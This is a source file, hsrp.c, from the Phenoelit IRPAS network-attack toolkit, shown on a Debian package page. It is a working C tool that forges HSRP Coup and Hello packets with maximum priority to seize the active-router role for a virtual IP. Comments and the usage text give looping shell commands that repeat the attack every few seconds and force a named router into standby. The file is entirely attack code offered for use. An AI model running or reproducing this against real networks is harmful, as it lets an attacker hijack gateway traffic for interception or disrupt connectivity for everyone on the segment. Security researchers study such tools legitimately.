File: hsrp.c

package info (click to toggle)
irpas 0.10-4.1
  • links: PTS
  • area: non-free
  • in suites: jessie, jessie-kfreebsd, lenny, squeeze, wheezy
  • size: 412 kB
  • ctags: 973
  • sloc: ansic: 7,385; makefile: 145
file content (133 lines) | stat: -rw-r--r-- 3,364 bytes parent folder | download | duplicates (4)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
/* HSRP 
 * part of Phenoelit IRPAS
 *
 * $Id: hsrp.c,v 1.3 2001/07/03 20:00:10 fx Exp $
 */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netinet/in.h>
#include <rpc/types.h>
#include <netdb.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <errno.h>

#include <sys/ioctl.h>
#include <netinet/in.h>                
#include <netpacket/packet.h>
#include <net/ethernet.h>               
#include <net/if.h>

#include "protocols.h"
#include "packets.h"

/* use:
 *
 * 
 while (true); do (./hsrp -d 224.0.0.2 -v 192.168.1.22 -a fuckfuck -g 1 -i eth0 ; sleep 3); done
 *
 To force 192.168.1.10 into standby :
 while (true); do (./hsrp -d 192.168.1.10 -v 192.168.1.22 -a fuckfuck -g 1 -i eth0 ; sleep 3); done
 *
 */


int main(int argc, char **argv) {
    char		option;
    extern char		*optarg;
    int			sfd;
    u_char		pack[sizeof(iphdr_t)+sizeof(udphdr_t)+sizeof(hsrp_t)];
    iphdr_t		*ip;
    udphdr_t		*udp;
    hsrp_t		*hsrp;
    struct in_addr	vip,dest,src;
    char		auth[9];
    unsigned short	group;
    char		*device=NULL;


    memset(&src,0,sizeof(src));
    memset(&dest,0,sizeof(dest));
    memset(&vip,0,sizeof(vip));
    ip=(iphdr_t *)&pack;
    udp=(udphdr_t *)((void *)&pack+sizeof(iphdr_t));
    hsrp=(hsrp_t *)((void *)&pack+sizeof(iphdr_t)+sizeof(udphdr_t));
    while ((option=getopt(argc,argv,"i:d:v:a:g:S:"))!=EOF) {
	switch (option) {
	    case 'd':	if (!inet_aton(optarg,&dest)) {
			    fprintf(stderr,"%s invalid\n",optarg);
			    return 1;
			}
			break;
	    case 'v':	if (!inet_aton(optarg,&vip)) {
			    fprintf(stderr,"%s invalid\n",optarg);
			    return 1;
			}
			break;
	    case 'S':	if (!inet_aton(optarg,&src)) {
			    fprintf(stderr,"%s invalid\n",optarg);
			    return 1;
			}
			break;
	    case 'a':	memset(auth,0,sizeof(auth));
			strncpy(auth,optarg,8);
			break;
	    case 'g':	group=(unsigned short)atoi(optarg);
			break;
	    case 'i':	device=smalloc(strlen(optarg)+1);
			strcpy(device,optarg);
			break;
			return 1;
	}
    }

    if (!(device&&*((u_int32_t *)&vip)&&*((u_int32_t *)&dest))) {
	printf("%s -i <interface> -v <virtual IP> "
		"-d <router ip> -a <authword>\n\t-g <group> [-S <source>]\n"
		"EXAMPLE:\nwhile (true);\n  do (./hsrp -d 224.0.0.2 -v"
		"192.168.1.22 -a cisco -g 1 -i eth0 ; "
		"sleep 3);\ndone\n",argv[0]);
	return 1;
    }

    
    memset(pack,0,sizeof(pack));
    if ((sfd=init_socket_IP4(device,1))==(-1)) return(1);

    ip->version=4;
    ip->ihl=sizeof(iphdr_t)/4;

    ip->tot_len=htons(sizeof(pack));
    ip->ttl=0x80;
    ip->protocol=IPPROTO_UDP;

    if (*((u_int32_t *)&(src.s_addr))==0) {
	memcpy(&(ip->saddr.s_addr),&(packet_ifconfig.ip.s_addr),IP_ADDR_LEN);
    } else {
	memcpy(&(ip->saddr.s_addr),&(src.s_addr),IP_ADDR_LEN);
    }
    memcpy(&(ip->daddr.s_addr),&(dest.s_addr),IP_ADDR_LEN);

    udp->sport=udp->dport=htons(1985);
    udp->length=htons(sizeof(udphdr_t)+sizeof(hsrp_t));

    hsrp->version=0;
    hsrp->opcode=HSRP_OPCODE_COUP;
    hsrp->state=HSRP_STATE_ACTIVE;
    hsrp->hellotime=3;
    hsrp->holdtime=255;
    hsrp->prio=255;
    hsrp->group=group;
    memcpy(&(hsrp->auth),auth,8);
    memcpy(&(hsrp->virtip),&(vip.s_addr),IP_ADDR_LEN);

    sendpack_IP4(sfd,pack,sizeof(pack));
    hsrp->opcode=HSRP_OPCODE_HELLO;
    sendpack_IP4(sfd,pack,sizeof(pack));

    close(sfd);

    return 0;
}